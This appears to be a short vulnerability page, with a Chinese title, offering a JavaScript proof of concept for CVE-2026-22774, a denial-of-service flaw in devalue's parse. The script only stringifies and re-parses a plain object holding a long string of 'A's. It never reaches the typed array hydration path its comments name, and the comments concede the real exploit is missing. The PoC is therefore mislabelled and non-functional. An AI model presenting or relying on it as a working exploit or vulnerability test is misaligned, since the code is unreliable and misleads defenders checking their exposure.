CVE-2026-22774 Svelte devalue parse拒绝服务漏洞

// CVE-2026-22774 PoC - Denial of Service via malicious devalue input // This PoC demonstrates how crafted input can cause excessive resource consumption const devalue = require('devalue'); // Crafted input that triggers the typed array hydration vulnerability // The input exploits the lack of ArrayBuffer validation before typed array creation function createMaliciousInput() { // This is a simplified representation of the attack vector // The actual exploit involves carefully crafted serialized typed array data // that causes devalue.parse to attempt creating invalid typed arrays const maliciousData = { typedArray: { type: 'Uint8Array', // Invalid or crafted data that triggers excessive processing data: 'A'.repeat(100000) // Large payload to amplify resource consumption } }; // Attempt to serialize and parse the malicious data const serialized = devalue.stringify(maliciousData); return serialized; } // Vulnerable code path - parsing untrusted input try { const maliciousInput = createMaliciousInput(); console.log('Attempting to parse malicious input...'); const result = devalue.parse(maliciousInput); console.log('Parse completed:', result); } catch (error) { console.error('Error occurred during parsing:', error.message); } // Note: The actual PoC requires specific knowledge of the devalue serialization format // and may need to craft inputs that specifically target the typed array hydration code path // Users should test with their specific devalue version and input formats